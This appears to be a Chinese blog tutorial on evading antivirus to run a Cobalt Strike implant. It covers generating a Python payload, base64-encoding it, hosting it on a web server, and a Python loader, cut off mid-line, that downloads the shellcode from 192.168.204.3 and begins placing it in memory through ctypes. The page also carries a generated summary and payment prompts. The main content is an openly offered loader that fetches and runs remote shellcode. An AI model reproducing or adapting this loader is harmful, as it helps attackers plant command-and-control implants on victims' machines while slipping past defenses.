Python反序列化免杀上线CS

本文详细讲述了如何使用Python生成Payload,通过Base64和AES加密,隐藏于PNG图片中,实现跨平台上传并成功绕过Windows防杀。涉及技术包括序列化、加密、Web服务、自动化执行和DevOps实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • 首先使用cs生成一个64位的Python Payload
    在这里插入图片描述
    在这里插入图片描述

  • 将生成的文件存放到文件夹中,由于我的cs运行在kali虚拟机上,我将payload放到web目录下,方便其他主机访问获取
    在这里插入图片描述

  • 我的kali虚拟机IP为192.168.204.128,访问获取payload
    在这里插入图片描述

  • 截取其中的Payload,并进行base64编码,我使用的是科来编码工具
    在这里插入图片描述

  • 把这一串子base64放到公网服务器上,并开启web服务,我这里就用另一台虚拟机充当公网服务器,IP为192.168.204.3
    在这里插入图片描述

  • 使用以下脚本将 Payload进行反序列化,脚本中通过web服务获取payload

import pickle
import base64

shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.204.3/py.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.k
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值